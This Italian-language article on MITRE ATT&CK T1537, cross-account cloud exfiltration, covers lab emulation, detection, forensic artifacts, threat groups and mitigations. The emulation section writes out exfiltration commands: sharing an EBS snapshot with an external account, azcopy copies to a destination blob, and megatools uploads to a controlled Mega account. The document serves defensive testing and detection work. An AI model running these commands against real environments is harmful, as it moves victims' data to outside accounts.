Esfiltrazione Cross-Account Cloud: Transfer Data to Cloud Account (T1537)

La simulazione di T1537 in laboratorio richiede un tenant cloud dedicato e un secondo account "attaccante" sullo stesso provider. L'obiettivo è verificare se il SOC rileva trasferimenti cross-account che restano nel perimetro logico del provider.

Su AWS, uno scenario tipico parte dalla creazione di uno snapshot EBS del volume target seguito dalla condivisione con un account esterno controllato. La sequenza operativa usa AWS CLI (open source):

aws ec2 create-snapshot --volume-id vol-xxxx --description "backup"

aws ec2 modify-snapshot-attribute --snapshot-id snap-xxxx --attribute createVolumePermission --operation-type add --user-ids 123456789012

Per bucket S3, la modifica di una bucket policy che consente s3:GetObject a un principal esterno replica il pattern osservato in incidenti reali. In alternativa, si genera un presigned URL con aws s3 presign per simulare la condivisione temporanea.

Su Azure, il tool documentato in campagne reali è AzCopy (open source, Microsoft), utilizzato da Storm-0501 per copiare storage account verso infrastruttura controllata. Il comando base è:

azcopy copy "https-source-blob" "https-dest-blob" --recursive

La generazione di un SAS URI con permessi ampi tramite Azure Portal o az storage container generate-sas (Azure CLI, open source) permette di simulare l'esfiltrazione tramite link firmato senza autenticazione ulteriore.

Per Microsoft 365, la creazione di link di condivisione anonimi su OneDrive/SharePoint via Graph API replica il pattern SaaS. Uno script PowerShell con modulo Microsoft.Graph (open source) può automatizzare la creazione di sharing link su file marcati come sensibili.

Per emulare RedCurl e INC Ransom che usano Mega, si impiegano megatools (open source) o il client MEGAsync (freemium). Il comando megatools put --path /Root/exfil file.zip carica dati su un account Mega controllato, testando egress verso servizi cloud consumer spesso non filtrati.

Framework di supporto per red team includono Stratus Red Team (open source, DataDog) che ha moduli specifici per snapshot sharing AWS (aws.exfiltration.ec2-share-ebs-snapshot) e Pacu (open source, Rhino Security Labs) con moduli ebs__explore_snapshots e s3__download_bucket. Su Azure, PowerZure (open source) e MicroBurst (open source) automatizzano enumerazione e abuso di storage account. La regola operativa è sempre isolare gli account di test in una OU/subscription dedicata con budget alert per evitare costi imprevisti da trasferimenti massivi.

La detection di T1537 si basa sul monitoraggio del control plane cloud, dove le operazioni di sharing e trasferimento lasciano tracce API distintive. Il pattern comune è: creazione di uno snapshot o export, seguito entro breve tempo da una modifica di attributi di condivisione verso un account ID esterno.

Su AWS, il log source principale è CloudTrail integrato con VPC Flow Logs. Gli eventi da correlare sono CreateSnapshot, ModifySnapshotAttribute con parametro createVolumePermission add, PutBucketPolicy e PutBucketAcl con principal esterno, oltre a SharedSnapshotCopyInitiated dal lato destinatario. Una regola efficace confronta l'userIdentity.accountId sorgente con la lista di account autorizzati (tuning CrossAccountIDList) e alza severity quando il target è sconosciuto. La correlazione con dimensione del volume (VolumeSizeThresholdGB) e finestra temporale tra creazione e sharing (TimeWindow) riduce falsi positivi da backup legittimi.

Su Azure, gli eventi da tracciare via Azure Activity Log e Storage Analytics includono generazione di SAS URI (Microsoft.Storage/storageAccounts/listAccountSas), operazioni AzCopy visibili come pattern di GetBlob massivi verso IP esterni al tenant, e snapshot di managed disk condivisi. L'assenza nativa di logging su generazione SAS a livello utente rende utile abilitare Storage Account diagnostic settings con log su tutte le operazioni di lettura.

Per Microsoft 365 il log source è Unified Audit Log (m365:unified) con eventi AnonymousLinkCreated, SharingInvitationCreated, CompanyLinkCreated e FileSyncDownloadedFull. La detection AN1581 raccomanda di allertare quando il dominio destinatario non è nella lista partner (ExternalDomainList) e il metodo di sharing è anonimo. Per SaaS come Google Drive e Box, i log saas:googledrive e saas:box espongono API di transfer ownership e generazione link pubblici.

Controlli preventivi complementari alla detection includono la disabilitazione dello sharing esterno di default (M1054), l'applicazione di Service Control Policies in AWS Organizations che bloccano ModifySnapshotAttribute verso account non-org, Conditional Access policy in Azure AD che vincolano l'uso di AzCopy a device compliant, e integrazione con DLP (M1057) su OneDrive/SharePoint per bloccare upload di file classificati verso destinazioni esterne.

I falsi positivi principali derivano da workflow di backup cross-account legittimi (disaster recovery multi-account), integrazioni MSP e migrazioni tenant. La baseline degli account partner autorizzati e la whitelist di service principal noti riducono il rumore. Un utile controllo secondario è il monitoraggio di egress fatturato anomalo dal billing API, che rivela trasferimenti massivi anche quando i log operativi non li evidenziano.

L'analisi forense di T1537 ha come primaria fonte i log del control plane cloud, spesso l'unica traccia disponibile poiché il trasferimento non tocca endpoint on-premise. La timeline si costruisce estraendo eventi da AWS CloudTrail, Azure Activity Log e M365 Unified Audit con retention verificata (default CloudTrail 90 giorni, estendibile con S3 archiving).

Su AWS gli artefatti chiave sono i record CloudTrail con eventName in CreateSnapshot, ModifySnapshotAttribute, CopySnapshot, CreateImage, PutObject massivi e PutBucketPolicy. Ogni record contiene userIdentity (utente o role assunto), sourceIPAddress, userAgent (utile per identificare AWS CLI vs SDK vs console), e nel caso di modifiche di attributi il requestParameters con l'account ID destinatario. La correlazione con VPC Flow Logs aiuta a mappare eventuali chiamate provenienti da istanze compromesse, mentre S3 Access Logs o S3 Server Access Logging rivelano download massivi post-condivisione.

Su Azure, gli artefatti da estrarre includono Storage Analytics Logs ($logs container), Activity Log per operazioni su managed disk e storage account, e Azure AD Sign-in Logs per identificare service principal usati per l'esfiltrazione. La firma tipica di AzCopy compare come user-agent AzCopy/x.y.z nei log storage, elemento distintivo osservato nelle campagne di Storm-0501. La generazione di SAS URI richiede analisi specifica: se il logging a livello storage è abilitato, ogni accesso tramite SAS lascia traccia con l'identificatore della signature, permettendo di ricostruire quali oggetti sono stati letti da IP esterni.

Su Microsoft 365, il Unified Audit Log conserva 90-180 giorni (E3/E5) eventi come AnonymousLinkCreated, SharingSet, FileDownloaded con parametri su destinatario e file. L'export via Search-UnifiedAuditLog PowerShell permette timeline dettagliate.

Sul lato endpoint, quando il trasferimento parte da workstation compromessa, gli artefatti Windows includono: cache di AWS CLI in *%USERPROFILE%.aws* con credenziali e history, *%USERPROFILE%.azure* per Azure CLI, log di AzCopy in *%USERPROFILE%.azcopy* che contengono job plan con path sorgente e destinazione, prefetch di azcopy.exe, aws.exe e megasync.exe, e ShellBags/UserAssist che documentano l'esecuzione. Per MegaSync (usato da INC Ransom e RedCurl) l'artefatto chiave è *%APPDATA%\Mega Limited\MEGAsync* con database SQLite MEGAsync.db che registra file sincronizzati e account associato.

Su Linux/macOS le tracce di megatools compaiono in bash history, mentre AzCopy mantiene job logs in ~/.azcopy/. L'analisi dei DNS query log verso mega.nz, mega.co.nz, blob.core.windows.net e endpoint S3 anomali completa la timeline lato client.

L'analisi dei gruppi documentati che impiegano T1537 rivela un pattern di adozione trasversale tra ransomware e cyber-espionage, con preferenza per servizi cloud consumer o strumenti nativi del provider come vettori di esfiltrazione a bassa detection.

INC Ransom (G1032) è un gruppo ransomware attivo con doppia estorsione che utilizza MegaSync per trasferire i dati verso account Mega controllati prima della fase di crittografia. L'uso di Mega, servizio cloud storage consumer con client desktop, è una scelta ricorrente in ecosistema ransomware perché il traffico verso mega.nz è spesso non filtrato in ambienti enterprise e i volumi elevati si mimetizzano nel traffico di sincronizzazione legittima. Il gruppo ha colpito settori sanitario, manifatturiero e pubblica amministrazione.

RedCurl (G1039) è un gruppo di cyber-espionage attivo dal 2018, focalizzato su furto di documentazione aziendale sensibile (contratti, corrispondenza legale, dati HR) da target corporate. L'infrastruttura di esfiltrazione documentata sfrutta megatools, la suite CLI open source per interagire con Mega, permettendo automazione via script e integrazione in catene di comandi PowerShell. La preferenza per Mega distingue RedCurl da altri APT che usano provider mainstream, ed è indicativa di un tradecraft orientato a minimizzare attribution attraverso servizi jurisdictionally ambigui.

Storm-0501 (G1053) rappresenta il caso più maturo di abuso cloud-nativo: il gruppo ha copiato dati dall'ambiente vittima verso infrastruttura propria utilizzando AzCopy CLI, il tool ufficiale Microsoft per trasferimenti storage. Questo approccio è particolarmente insidioso perché AzCopy è software legittimo firmato Microsoft, spesso whitelistato in ambienti che usano Azure Storage per backup o data pipeline. Storm-0501 opera con schema ibrido on-prem/cloud, muovendosi lateralmente da Active Directory a Azure AD per compromettere anche il tenant cloud, e l'esfiltrazione via AzCopy avviene tipicamente da service principal o account amministrativi compromessi con privilegi Storage Blob Data Contributor.

Il pattern comune tra i tre gruppi è la scelta di tool legittimi o consumer-grade per l'esfiltrazione: MegaSync/megatools per gruppi che preferiscono uscire dal provider vittima, AzCopy per chi resta dentro. Questa dicotomia riflette due filosofie: la prima punta su servizi esterni difficili da attribuire, la seconda sfrutta la fiducia intrinseca del provider stesso. Il trend osservato è la crescente integrazione di T1537 in playbook ransomware: dove prima l'esfiltrazione avveniva via HTTP/FTP verso VPS, oggi si preferisce cloud storage per resilienza e camuffamento. La difesa richiede monitoring specifico dei service principal, egress fatturato anomalo, e allowlist rigorose di destinazioni cloud approvate.

MITRE ATT&CK T1537 (Transfer Data to Cloud Account), tattica TA0010. Gruppi APT: G1032 (INC Ransom), G1039 (RedCurl), G1053 (Storm-0501). Mitigazioni: M1018, M1037, M1054, M1057. Detection: DET0573 con analytics AN1580 (IaaS/CloudTrail), AN1581 (M365 Unified), AN1582 (SaaS). MITRE D3FEND per mapping difensivo. Per comandi operativi, tool (AzCopy, AWS CLI, megatools, MegaSync, Stratus Red Team, Pacu, PowerZure, MicroBurst) e artefatti forensi si è integrata conoscenza professionale di cybersecurity verificata su documentazione ufficiale dei rispettivi vendor e progetti open source.